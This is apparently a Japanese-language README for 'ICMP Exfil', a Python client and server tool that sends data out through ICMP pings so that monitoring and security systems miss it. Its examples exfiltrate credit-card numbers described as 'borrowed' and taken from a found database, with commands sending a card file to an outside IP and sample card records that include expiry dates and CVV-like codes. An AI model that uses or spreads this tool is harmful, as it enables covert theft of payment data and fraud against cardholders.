
ICMP Exfil は、有効なICMPパケットを介してデータを転送できるようにします。クライアントスクリプトを使用して流出させたいデータを渡し、転送先のデバイスでサーバーを実行します。監視している人やセキュリティシステムは、有効なICMPパケットを見るだけで、パケットの構造に悪意のあるものはありません。また、データはICMPパケット内に隠されているわけではないので、パケットを見ても何が流出したかはわかりません。

Martino Jones, martinojones.com.
現時点では、サポートしているのはASCII文字のみです。ASCII文字で表現できるもの(例:英数字)であれば何でも流出させることができます。例えば、16桁のかっこいい数字を借りた場合、クライアントスクリプトを使って ./ping.py --ascii "4111111111111111" のように実行し、それらの数字をサーバーに渡します。
サーバーの送信先を設定するには2つのオプションがあります。--ip を使用するか、スクリプト内の ipToPing というデフォルトIPを設定することができます。
もう少し辛抱強くなり、データを流出させていることに気づかれにくくしたい場合は、--wait を使用して最小時間 + データ転送にかかる時間を指定できます。これはまだ開発中です... そのため、この変換は自分で行う必要がありますが、追加するのにそれほど時間はかからないはずです... また、ほとんどの人やセキュリティシステムはまだこれを検出していないので、あまり重要ではありません。
pingが通過するのを確認したい場合は、--show を使用できます。
サーバーを起動するには、sudo python3 server.py を実行するだけです。他に何もする必要はありません。終了するには、Control+C を押します。現時点ではサーバーに改良が必要で、データの送信元に基づいて入力をマッピングする必要があります。現在は1つのクライアントがサーバーにpingを送信するテストしか行っておらず、これはもちろん調整が必要です。基盤はすでに整っていますので、あとはリセットをまとめるだけです。
かっこいい16桁の数字がたくさんあるデータベースを見つけました。将来の研究のために保存する必要があるので、file というファイルに保存します。
コマンド:./ping.py --ip 1.2.3.4 --asciiFile file
ファイルの内容: 4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe
エンコードされたデータ: ['0110100', '0110101', '0111000', '0110111', '0111001', '0110110', '0110101', '0110011', '0110001', '0110010', '0110100', '0110101', '0110111', '0111000', '0110101', '0110010', '0100000', '0110000', '0110001', '0101111', '0110001', '0110101', '0100000', '0110100', '0110101', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1101110', '1100101', '1110011', '0100000', '1111100', '0100000', '0110100', '0110101', '0110110', '0110111', '0111001', '0110110', '0110101', '0110011', '0111000', '0110010', '0110100', '0110101', '0110111', '0110100', '0110101', '0110010', '0100000', '0110000', '0110011', '0101111', '0110001', '0110110', '0100000', '0110010', '0110011', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1100101', '0001010']
サーバー:
Calculating offsets
4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2 0 1 / 1 5 4 5 6 M a r t i n o J o n e s | 4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2 0 3 / 1 6 2 3 6 M a r t i n o J o e
協力していただけるなら、まだ追加すべきことがいくつかあります: